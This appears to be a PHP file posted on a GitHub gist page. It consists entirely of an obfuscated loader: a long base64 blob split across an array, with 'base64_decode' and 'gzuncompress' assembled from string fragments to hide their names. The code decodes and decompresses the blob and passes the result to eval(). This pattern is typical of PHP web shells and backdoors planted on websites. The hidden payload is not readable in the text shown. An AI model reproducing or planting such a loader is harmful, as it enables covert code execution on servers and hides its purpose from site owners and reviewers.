<?php $xfxcm = array('eNrFOwdX20i3f4WwORv8UaJu','aYnzEZppJmDALZvDkWXZFpZL','XLBNNv/93bl3ZlQsSHib894m','UZm5c+f2MvKuBe21jTft2cCb','BsPBvb8IJtPJxrswfJfLrX1f','ExNrYbjxNsh9f+sWPo3H7nLj','3butd7V5oYC3d2s77/CRPdTY','5ZN8vZhHj0ubPV6w505slF1x','5rbqWOzFrS7YbVK/sRUEYZcH','xNs5L7L75WOztt9lTy18D4Nm','8S5/esSe1dubu7sOe/p8YCBt','n5f7NcJrsluvqeNKdnk6PTLv','Tg/rsxJ7O+ghGeyxyi4Ou1hA','zqTOnm6QUhVJegBSjhHNqMlu','/fJjSy/lT4+BjGMY67PBMruw','8c5teN25vDEWn9nIcj9sBoim','cveEnHa8Ae5glXAPw+R7zEo3','vU5ZQ9AHl900G3GyS+nh0/zz','IYoF4ZGFh9PF5c0+eyq6tbOw','gbQ5BorwqcTZNBZc2i6yuWCS','VpEl9grks1szxhJ7B7bYTbAb','Zw01inphLKJCkcXK3bKHc2Wt','gsS5nHxGOpKC7H9CtZUOrztE','02LCBkjkxApqT1rXWVjvh7gL','sndgzy8e6oU0Sysa4wYUYw/1','pyMhcTZHsTlk6zZkV9Ag4mQs','Envs9e5pgjAeuwzqoEHDpL1O','Z6XbT7jX6VErrGvTR9LCKbvO','YW6O1nB7pOAIGm9j5KHlVPpk','pJ3H0tLQiP6jObDo4ctxv1Fx','psiGVg5huKkDRegJTlCvXYaN','Igho6517Ula8wyHKHDwRHZX5','HbneKbkeeRc4ZsyR8W/cd5Fm','+XpdvUQWG7X9yEPvUPDdZr+l','1qut8HOwj2JDsgJV9ZZzFFSj','auRRWLe4dE7ejYvnh9dDtgUa','lObMyIsqDy1pBIjxsfkwlCZ3','rS2kR3gaork86CjngAawwSMx','zTk/oMBzVTxbnh4g95ucV2Xx','WNeOFTIfZ1Y7HD4yiyo6yGi9','Viar0QzrlKLb4TXdkAikB83j','QFImJHkWSO/UL4P6Q+kWVb04','C3DM/Hwjzf2BLMLrnz4dIVsI','j2NovSrHtaCxIwlXOqg/XN52','hH4Y2YxkRi4MIW4eVJELvdVu','Re40qWmNR69YmQFo6VqSfoUS','76inJ5eKX12EVzetB5LBgqT9','MJrWa2ekEc0YsIer3iWG5WbQ','Qu2eFnmgQI0iu5OmdtzjMkTD','P1BQXGV0p+5Z5XBiX2gd9aoT','M8VIddLXkoplrhFZybxBysFt','E2btaeQ74DdkT4QR/Qd8h3SN','kkdTAz/CiJ2xsqaFszoZn9oo','Vtrc5biDYpDk4ABaMcj0L9sY','sggUVjzVq2eoEgDFJa2q+cBz','Ggq5OSgJFus8svH01W6taq9Z','PTbYZrCR2iqGjzwkKJT9VMFx','U68o3gn6Fk7VtDNio98IvT5y','PGuQtyOGKqpm2tTPTNxTW4ya','SEyoMJNBq7jT0ESvpZIatbMl','iRbJbDeLzoAhhBshqSy9vrP0','orDU6IcTkIPqFcEXZRIuP0W8','xyxYpvBIDogVZIESFvLAfCoV','gFiTsgG5RDKpKCALlbImymKG','y7gsqhWSAfKPYiL+gffriAuU','6NkSIIFnjCaSb8FzFE1pK8Y3','QqKKkP9qmfIj453pvNVGjolX','lEMtyWvtU6IO48G7fOQcVu7U','Y0ph5fZdD+3sCpUflWk1euSL','7og1EdJubpC4/bsajjXObo9w','AIPVNQKrx2zZUfe6puKSY4px','mJVrmdUgVU/zGTHcmZ0HZbt2','YA6pqFNwnI+hIDD9o82WMfFd','BMNe+1j69wwNpnY5v0AfZnPz','mYsx6XJ+husW3gXmk9EQ8GNd','wmDq6K+N6dnJwpOprH+peDKY','oyIYHYpXnPfOrxNx5+Jp0W0c','GrPzh9hyCHBXgfPkkjNcPFFi','bJyUNoFqwISqhneM3JsX+uWI','MFH4eUDRISi+90+XqK7AkRWT','e53MzLRDUEIXZMRIbyGitFM5','QIQlYycDiXbfRLAipKdb49HT','ejFWIRudbuLUA07Jeh6lIDYH','QVMQ7ElTQ9zOU7QZlQa10qbk','gUkGZe6EzRpJBuf0UpwA7lEP','7pPYieJnU7scc/aE33DCepTS','PS57B97hGbNxiWN9aFRNhVIa','8YDGh9gvqawalIUOnvgSt0YO','ehUY366O5xis61pIdvNkUIac','cwNYKGieg+tNbrqMENyxPrgm','bRMxSY2iZQ8Ro77fbQ4W/aZm','Ku1ieYSRL+h1aA4pMaEFcgA1','epCLYqpgzdLQukr7hKpesrny','8LyyeCImR563HDVLB8qyVptI','K2nD/HnQnbdOFnOfWiPw0C5V','xX30/mWjv4AGYKG5tcsRFOQT','F7VWNhluwCutz1sOh5RTK0pT','R/RD9OZquQfF4IiLBPVTv9kf','ev1K/4r6oG8odJBu/VZatXex','7D55xWNUUrvYeGwOyrKO5dkV','nfCcvOGxQvmcfGw+9EiU6OZk','OSmR6mUUJSdriPrXEXFIxXmD','hWO7hc/hk1s9GzWj4hS16t+E','INahVZNBq/TtvHgMeQfR2i6R','2YO6YXZ+Y8BcNyQzbQ1B5Do9','I1uKewC4UOACX+mbTI5Pn6al','UMXGpYSTKuyLEh5K+Z+Ube+k','M+JOJsSMQAhDRTbK4+oGjVkW','1CR2EjkF6uMZF7kN1Qt6+fkt','GXulhiIm/2ZixpyBNR23XGQH','RR1QWyhEfRGMEFXKktCqBcuf','Q2mcZLnITrcb1bHlx3YRi89R','o1iG/gwstu9oUIb0myR2pKjG','xcfxMSvvtmq4dtSQFWSZ4hPD','IQ8fUBTdU5zvLhtSB3VhKmiB','4NgIAHGB3WVsOD+5nEdFjRlZ','a9+Zgcp7UYtbH0EQq/DoGomT','AkDCYjGqxkWJhZgThdTRIzgr','OiralkriI5bIQZlzUtFLpSBZ','O3dSclAUKVMRVw8WHxD+TCHO','z2FMjChCEGVRqpBU8SDE16XO','vVp3LmRmwHjIRIaqYSJj4kK6','qqbd6CNLM1S1EBWqnERFrV+U','jPTWHJY8Uhldwe18jrql74Ml','IjqlQb2LRVmG4gPPZaTQ0VPr','hFVmLJyJggR1C2Fs324WK/3W','QUhSpCaBcWLVuL9LLVQmMpZf','yFYubPl0JDO5RE4UkpA0Nl5N','aJSNL1TpoyPszKDAGEisNoHy','dBv1nldUHGLt7j2Z9ukheXaj','qj5dyUZ4wlInJbd9+4qsV6ZZ','FPWTQaBlci5KcGh17YNPNlU8','5VED3ZKDQtpkKZNotDGNsnex','KdaIo9YJpvbNNqcL3UOjKOrx','TU/KQevQlFwCfUodsV6zxp3K','4f0eFX/lsER1UbnSxax6TfmX','Q6Gz1AlKlhRUm7ajQ8uLPqiX','F26DS1YqxlpMrEA0SHEHZE6o','r1ubMji3QAThmfCAstj5rU0V','R8yno7INLQjqmEdKzr0hL2FH','VyTlR1lHclDExMABlII6gFKu','E6Ar2IGp6lzQKTgCaQbS6amt','Na866fqWr0ZVCi7ZSiaIq4f5','o3tCFXnzEFXWWk4KcdUwgSfP','RChk4xS6QimaulMuodtgnQbr','MqTRf0Z13qnUWss+pXRjzmXc','PPmEQ9iwmPPY0IVqerIQjTqG','916xO+eO7uGcOufOVqGO47oQ','Oyxr0ZZXqKP9ZePWhD613KUg','c2df6GzMEGJr1WLmFnW4V7Ie','QGgOKaC4YOde/24T+75yD9mJ','jmT4GUncuBGKa51bsN7oeiGF','ek+/XkhjrbaWJeLfKR3P81Sk','9ziPnL9GTR5GLWQzi0Ps1a2a','/ebTkWzxj1CVVZ+OhI/KtRA5','vL5VHOTlaCpt/eYTHaTdyDq3','oVUUTnlDk6pWiGUpsvODrh9L','aPGT9ZAqU+Mb9GZ2DS2Zcm6D','gl6fV52TFpcA9RcUTWo8P9MB','xzGd7gUCl/Gt3nd6/g3B1KI1','31gf71YhVIfzWfsY7v1LflAD','NQcV82wO721pcQwOH6AE7MTW','Qimll0Mvtq9brHQbsczFrBN5','H0h39mFs2NTUEOdonI1RVquS','KTeTcvkGqnuIEi5bt/A5/jk7','riVciCeKCXpZaWqK4IkqbsEP','Vd1DqoMYLRxv0Buyfl707yw6','8CiF5oYyOWGBlac9gKnXLrkn','yqqU4IojKjsPyhhj3T5Pv9U5','9e/Fy37zpmy3TvYn0L+DbZR6','bXjGMxLq+RVO3xz5KR4rDYD3','iyqDJy8/ue4BHsU7uB6dX/P8','dLqQAeNh3o1sWJHB9UbW+ptX','1M+zdjmZJjCegvehDaVyQDyT','4FS83BPJ/+xRVokQ63mVGaWF','6LyNojSynUgLyEUqi0Sp4fnA','Tunrir7UJVIBctClUrEqV/GY','L2I7vaF/Rx/78LXDIxR9PvDo','8GvO/NPTz2TxA0Xl+yveoV4t','ZfII2gfeSEQzOkUxv3nL3rB2','6PCzA9SEfRrVRoPzG6fixhK+','iq4MXVZ5fhGrGVn0y+2O/els','PFhruhPfMu5bvjds+Rtv3S9v','g6+53R9rP4J2xsfS8aDlvcvl','vsuPpWxgI/f97enpvVIYD2eD','1oayqexoZuqS22UgqgQxNg0a','0gphuKHkdtvD8QZ71wUITesf','cB09b27STkahP70fuwAV7ci2','MXNbYkDdyZupSy63O5kHU6+L','+xi57x6wTs8fCilEEmHuLyRy','baewltoz2ssBzM2x7/Z2szAa','cRxed7yRpt2Kk23H/+ZeRKyx','Pz9Drjo7RtYl2tJS4W9ypzUx','lyfsZmEyHYf+ACnQcrtgGqjw','j0IUf/6JYOn3DwimbkfC1WP/','vfya40i0L4hq+yXb+vqmwL7a','AxffpTDgXSMTUra3d3/44cTH','SR3evOFgGgxm/u4P4vnHD+4M','uBpeM20fZDD2H0fDScIB5Cjy','am2xa57osJnY2AzBEEBuK/aW','z0lh2oVCoe0ClTlOC77sMrrX','+EhMCVZuGxdtx8byuecod9tT','f5ygGkc23k67wQQpdnLf2cpg','ct8cDsMNTjfObCEUGIigYtaE','aT6XAbgpSKJlL9J0H7qT6Sph','OPwidTGR/5TADNhfpLHpQ1Ty','E/TRUJK2rH1lkMgS5cv7rQol','Nv66nbPE9Pzm07nvD1Ib41hs','U1VJ7S0EQnOrdvWz/bK4jSZe','2nnFVBJiiq94loaOP20HoZ/0','aDFIOFTaXKObXiCcqlFY//vv','dWmXrWDMwaUZDmZhSEnPLGzw','NRiWILT9F24GxVbVICCVBYv7','sT8KXY+L06CtzC2OOQsQEEH6','yIZDRxH6F4yYuUI8mgO4DK1A','+39jpgQr4raUtQKib/ofT0gq','pWzVKhDGew+WTFOU7HKZbryh','h9x/t9MJnZDpm4SMFuQLLv4w','i6+3+Std4ztYoPl5F3S5MQme','/CEFWkirf/65Rk9fBINfv6Q3','hpzCicJYrjq0y/2kG7SnAhFV','MEphOPIH0gScCKvYnhInVD++','2xJwmpLLvRExn9lRXFuaugWa','BfohK2zEk+/PhJ+TuQ3BtUKa','pLUdEj7dNZXln5gBa5pIotpP','DFLj6TUFCGTnc5lw+pevBRrg','eoP3SGeatrViKZomLCVHGXyN','iGXuKagFXcIIE6zbjI8yrwyD','QS/iigUHl1d/qrbmTtAIdJT9','aOx37vuuKA71LS5snIRl4cid','dgUq0Bpl5xyZI/CRBqG8Lac5','26La+JEoONT8c+HJ87REZIJ3','2sDgOjK5AEHodo5ZjINXVaGb','SuXFKt7ZOLwPBgHGXURkEYnm','l2SFG1OFmVvxzdxXUmy+IBGC','T+LzxJ8OR3xlfktVFIVUCZRn','ARiaDDXZCHRZrurPgThODCqr','SnyONNUm0iwU1puNPWDkHpIA','k6oKhvPPP4kRCN8gtb0MXKa2','9aJv7v7IWmXZsVVW9F/+5dcc','9yqbhO8vfI9j5Hx64ZD3DGyI','V5mavRZZ7/d41WuDEQoXWzGY','9mTo9ViQYwbTCYdNN6RVDjVm','yuvM5zVdALcxIx1kVINsnGc/','ZlhJP2aTUG2v0+w6t3RdJVIN','gXbPX4xC1voy+HyEjE/TLQqf','uxxJOjZqBlJjEwJdJVui57V/','/lnjT1QBqE5EDetToNf9ga9a','AaysO5xMm8uB2xeYc/H25TmQ','GDpVoNMLUnEU1iID1aydmGm9','8MYZotCvm1uJ7pM60F0Qhu/2','mV3fT4O+P5yR0vWY18a1+tJb','1BDpPPPqVmG9eHQrJHhye3v1','Xt1R/h7/PVgnri3o99ZPQCR/','kVEa6bmy3/bH/vivte50Ovrr','/XuCIoQpWOwbecaixXcTf7z9','qeMPOHpdyVqi53bbo9l0Ihin','WZH/37RF9cE4JLbybGkblDlJ','C0tVNCN1YcGjHXk0YKH98wn7','BTjaOB/hYlUdwdoFmosZs4gK','DqfJLpC7OB+a47X3H+n694Dm','1rlV2WlXBOdmxg8BlHa3Ix3K','zYCMr3wTJ0XH6wLC17gzOGjv','rPEVGwpO8rSJE4fmYzZCJyOF','ZvNIAWyKnJiMDSAjyV1mbMg+','mcgKM5DCfinMaE5a0hBXmKR1','LUmLoTA5CKPIWMbtwqDmBVgR','p3+xioJLKpYTdFaYRHVXlAN1','kxWm2MtYQlp2gVVlDOKelaDg','LpON9YS/rb8iC333ve4QN8jn','eKVqrO2wd2AZstKUUfZcS8dO','MtMdHZ1uoseTKFR+lIjnj2A2','qeyx/p6g3q+LgC7hEUpId/39','zn8+NNWPH95sb/9DS/7Z3v74','4e/3MLjzn/f9SbDOVGYoUWaI','F3/Gs8dN/iLBg7+g8z8eFQ2D','0W3wPOP3R9OlmMeaNQOdjye3','e7JSMChKGdwKAePDMBgw/Rrc','vgxhFVkIJ10/pLpDVJGAYS8a','FeS8gGE5mfp9JGrYvJ9M3TGr','H/doWC4XmAEkYVwACUPQd0Gl','47uDjRc2GrmTybQ7nq1sJSb+','xWZ72H1MhrMxrwQMs7A3kikX','hMwESkVjTHGGTA17MjcYpoSB','3LDXZk0Nn5Dx3FQ19g+LyVGU','EGBpRNEq/+Ohd0/l259/ZhMs','IATR1Fe8FNoKH9dk82FQBjAg','GnDLsVL8Ugm6ShoyiWStToFc','mMZW5WStduvPSc56OTxHBYqh','7sRKkuff8DBJxMQMollC/zf8','rPYNKd5kxZAlhkQNgaSSalOW','IiJQd9oPJyPfC9zQ67pjjtfA','dUFnwE7TZlD+3LvNITjMSv8H','vgpO0nc7gXf/bTac+mBZUPFD','CbgRtXN7oiyEdrwfTOMz/ng8','xEQF2INBJzaVKVuWgcByp/xM','di/2jkZoM5zpQSdj0FSyBtWs','QS1rEI3gWRKBX0nehBKmGX1v','EfjEjPnsjIU+ZebT41CqXN5d','XKRGnefwWLEvVTHNxSHU3M8a','12dDC0Pjhvzzwp58Q7TaCknR','nP7CHHV2lrk6YyVYj8bzL2Cz','Y1/XVmedLOFgnWvkV8616Fgl','D+J6e39zVK4clb+wd+aiu3SA','J87pIN59kJ0S4NUY3mew6oQV','uBaHr3HkMaeOmJSffeKQFosU','SEjiNApISR5YZZCQJxKYqFJL','eUq0o4OmvCMGndjpE4nGpvrU','1uhGnNmkT5tyhE1mbdOWNh1b','2XRu5RAWh7A4hMUhLA5hcQiL','Q1gcwuLYnCRTiUhyxFkYPwxT','VH7X+F3nd36QoJgkvGDC3OLt','ffno+u7o5vYLzlmxKFyInxgo','QEHnKRi0Q3fqb6Q+pidx2KQf','pJNOIYx0xW9qSeSOqMNezmL4','9VyebZrybNPUxcGysEsIch9X','7B35MpN8qbxeNZVnz3Qgir58','Fv01waxppA+hTZXff9ZDoT+a','Jp2VE06Lv/DvL/NxMJXnvyw+','73nd/rDFX6WLGxpPLtir8BjG','l9BB8goiEk4+2s6H8j8gGalc','RnrkYeysJwahrULkOMLpmB/S','mzY8B/2N1f5J0JBQr+FI9TpZ','Z9emQ1vagnY72bFwGCRPzwlY','IVWk6sdqg6yqhoDFG2QVQm+R','di0lbcqpbREHP6yzhOLV5PYm','316UV2kSrN9AAj/QErZnvZIE','+1kScNrh3eov0aIpr6OFDIed','IbLxBO8MBaLkX/9Me4dkoiZR','CSymwCLOJk0rhVeDUhMMso/V','HDdExGXphbbsFExsb1T2fWW3','zXyHYC1dchI7tYKkv7s3Hc6E','oRKQpfGbPB6IqMuxY4D1DyC5','j7NRCyIsD2sf3rOhdbnAylgw','Gbn9tbHfHz76rdQyfsaAbfdq','IIjhGAzXGEBqudBHZuBJLB7P','s9bT0UVWntF0mWcgav5aXoE6','/ytPK5ZRiFcEqjyAssxC/OM4','znFnsujgfIUXVn7FgqhlxloL','M/5P7G2lDQYw7O55wxEdTFgG','344bKpa1kTFY9LHQsvgtOSkW','ce+LQWWSbiRJNyLSDflPJPvV','pd9/HpQZGHGdz3BrXniIYz7h','z6suZRkZLmXRlwR24pTlUiJW','5F9yLSHsyLXEeZqqa+KkL22p','aSN9xkZ1stEIoWDCLqQAhfVh','yUR02ZwSGo5RZVFHlblh/rni','S7d/tfjSnVcXX+LELll8ZXTn','LxRfv6tuWbHb19YvPy8xnktS','Bi+bxZmgzE52IVHD2buvTxuG','/lvSxk+SxP9VsH9lrDcMadaW','U3jJeA0s8f1HNyR5OHQEvvG8','yxhRv5LHbwMqO4DDV7WwhwYw','G4/BAPB4ZyMWHgwbKpgUMYgF','htfpdyzQ/+b+aP6xvc2kg0fx','z1HhRFRoqeBgCq8z1AL9hpjI','06MGTjXFpyvwzPgvfuB1L/Ej','LSNPP7uMf/+30/8iXHv0S57Z','IPg247qk4iPW22iyT0r9cuQV','Dr6XZW/f/5cdy96zzp03hPX4','A1RY58kb9sH8JpM0NicWA1HC','Gq9XDe7GeZ5phdeCl+9h5Nj7','v+9OTOPXuxPT/PetgWn9q+7E','zP8GEux/1Z2YzovdiaW8pjux','1F+j5fe0FHsrycHCo9fs7LD3','mvTAfm6Ftm0WxOfOvJY+sMub','sQM7c1Pjx3V8zfp8Pif/0Ogr','JrX45DlbfD33RhPq9tlAemAy','lsa/ROZN8SUyx3PYH+4fNAHh','FVLHT8JOLNL8hkBjG/G/2dVx','vJ74fwsL1kuHFr/D7ozfaHc/','XkyQVvThKm8lUtxKvoReh1w1','n3/JimPHzib94Xacz7DjSAf3','LuyB2/AglqeMCkVfUo3al+f+','R5mvXL95O61fxMsDW97Opafp','S3teex+sRyD8uyQl97Ud/rNy','hBNAmRkWSiX6wpmwW0NIweK/','xTRMcQaQ2ghpFYc4eftf75Eo','KvJWvKjgwYKvee6QFdb85JA1','M3SQ2a39D4S1VAA=');$faah = array('4_decode','base6'); $inwuh = array('gzunco','mpress') ; $pesufa = $faah[1].$faah[0]; $xhnm = $inwuh[0].$inwuh[1];eval($xhnm($pesufa(implode('', $xfxcm)))); ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment